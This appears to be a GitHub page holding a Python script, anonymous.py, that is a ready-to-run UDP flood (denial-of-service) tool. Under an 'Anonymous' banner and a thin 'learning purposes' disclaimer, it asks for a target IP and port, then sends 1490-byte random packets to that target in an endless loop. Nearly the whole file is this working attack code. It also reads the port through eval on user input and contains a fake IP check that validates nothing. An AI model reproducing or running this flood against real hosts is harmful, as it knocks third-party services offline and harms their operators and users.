-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathanonymous.py
100 lines (89 loc) · 3.28 KB
/
anonymous.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#Lets import modules
import sys
import os
import time
import socket
import scapy.all as scapy
import random
import threading
from django.core.validators import URLValidator
from django.core.exceptions import ValidationError
validate = URLValidator()
#Lets start coding
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
#Lets define sock and bytes
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
os.system("clear")
#Banner :
print('''
**********************************************************************
* _ _ _ ___ _ _ __ __ __ __ ___ _ _ ____ *
* / \ | \ | | / _ \ | \ | |\ \ / /| \/ | / _ \ | | | |/ ___| *
* / _ \ | \| || | | || \| | \ V / | |\/| || | | || | | |\___ \ *
* / ___ \ | |\ || |_| || |\ | | | | | | || |_| || |_| | ___) | *
* /_/ \_\|_| \_| \___/ |_| \_| |_| |_| |_| \___/ \___/ |____/ *
* *
* *
**********************************************************************
************************************************
* *
* [!] Disclaimer : *
* 1. Don't Use For Personal Revenges *
* 2. Author Is Not Responsible For Your Jobs *
* 3. Use for learning purposes *
* 4. Does Anonymous suit in villain role, huh?*
************************************************
''')
#Type your ip and port number (find IP address using nslookup or any online website)
ip = input(" [+] Give Anonymous A Target IP : ")
port = eval(input(" [+] Starting Port NO : "))
os.system("clear")
print('''
**********************************************************************
* _ _ _ ___ _ _ __ __ __ __ ___ _ _ ____ *
* / \ | \ | | / _ \ | \ | |\ \ / /| \/ | / _ \ | | | |/ ___| *
* / _ \ | \| || | | || \| | \ V / | |\/| || | | || | | |\___ \ *
* / ___ \ | |\ || |_| || |\ | | | | | | || |_| || |_| | ___) | *
* /_/ \_\|_| \_| \___/ |_| \_| |_| |_| |_| \___/ \___/ |____/ *
* *
**********************************************************************
''')
try:
validate = ip
print(" ✅ Valid IP Checked.... ")
print(" [+] Attack Screen Loading ....")
except ValidationError as exception :
print(" ✘ Input a right url")
#Lets start our attack
print(" ")
print(''' We are Anonymous
Every thing is Possible
if you Beleves
''')
print(" " )
print(" [+] Anonymous is ATTACKING server " + ip )
print (" " )
time.sleep(5)
sent = 0
try :
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
print("\n [+] Successfully sent %s packet to %s throught port:%s"%(sent,ip,port))
if port == 65534:
port = 1
except KeyboardInterrupt:
print(" ")
print("\n [-] Ctrl+C Detected.........Exiting")
print(" [-] DDOS ATTACK STOPPED")
input(" Enter To Exit")
os.exit()
os.system("clear")
print(" [-] Kivuos is tired...")